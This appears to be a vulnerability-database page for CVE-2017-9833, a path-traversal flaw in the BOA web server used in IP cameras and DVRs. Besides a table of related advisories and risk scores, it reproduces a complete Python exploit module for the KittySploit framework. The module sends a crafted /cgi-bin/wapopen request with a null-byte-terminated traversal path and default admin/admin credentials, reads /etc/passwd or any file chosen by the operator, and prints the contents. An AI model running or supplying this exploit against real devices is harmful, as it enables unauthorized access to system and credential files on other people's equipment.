BOA Web Server LFI (CVE-2017-9833)
| Reporter | Title | Published | Views | Family All 23 |
|---|---|---|---|---|
| BOA Web Server 0.94.14rc21 - Arbitrary File Access Vulnerability | 3 Jul 201700:00 | – | zdt | |
| Exploit for Improper Input Validation in Boa Boa_Webserver | 3 Feb 202616:18 | – | githubexploit | |
| CVE-2017-9833 | 24 Jun 201700:00 | – | attackerkb | |
| The vulnerability in the implementation of the /cgi-bin/wapopen HTTP-server Boa allows a hacker to gain unauthorized access to protected information. | 23 Dec 202200:00 | – | bdu_fstec | |
| CVE-2017-9833 | 16 Dec 202400:00 | – | circl | |
| Boa Webserver Arbitrary File Access Vulnerability | 27 Jun 201700:00 | – | cnvd | |
| CVE-2017-9833 | 24 Jun 201700:00 | – | cve | |
| CVE-2017-9833 | 24 Jun 201700:00 | – | cvelist | |
| BOA Web Server 0.94.14rc21 - Arbitrary File Access | 20 Jun 201700:00 | – | exploitdb | |
| BOA Web Server 0.94.14rc21 - Arbitrary File Access | 20 Jun 201700:00 | – | exploitpack |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""BOA Web Server FILECAMERA LFI (CVE-2017-9833)."""
import re
import urllib.parse
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
__info__ = {
'name': 'BOA Web Server LFI (CVE-2017-9833)',
'description': (
'Exploits CVE-2017-9833 in BOA Web Server 0.94.14 (common in IP cameras/DVRs): '
'FILECAMERA traversal in /cgi-bin/wapopen reads arbitrary files as root.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2017-9833'],
'platform': Platform.LINUX,
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2017-9833'],
'tags': ['boa', 'camera', 'dvr', 'lfi', 'vkev'],
'agent': {
'risk': 'high',
'effects': ['credential_access', 'data_exfiltration'],
'expected_requests': 2,
'reversible': True,
'approval_required': True,
'produces': ['file_read', 'credentials'],
'chain': {'suggested_followups': ['scanner/http/cve_2017_9833_detect']},
},
}
file_path = OptString('../../etc/passwd', 'Traversal path for FILECAMERA', required=True)
def execute(self, remote_path: str) -> str:
cam = urllib.parse.quote(remote_path, safe='')
path = (
'/cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00'
f'&FILECAMERA={cam}%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm'
'&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0'
)
r = self.http_request(method='GET', path=path, allow_redirects=False)
return (r.text or '') if r and r.status_code == 200 else ''
def check(self):
body = self.execute(str(self.file_path or '../../etc/passwd'))
if re.search(r'root:[x*]:0:0:', body or ''):
return {'vulnerable': True, 'reason': 'BOA FILECAMERA LFI confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'BOA LFI failed', 'confidence': 'medium'}
def run(self):
if not self.check().get('vulnerable'):
print_error('BOA web server not vulnerable')
return False
body = self.execute(str(self.file_path or '../../etc/passwd'))
print_success(body[:4000])
return True
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05 Oct 2026 14:20Current
7.6High risk
Vulners AI Score7.6
CVSS 3.17.5
CVSS 27.8
EPSS0.68464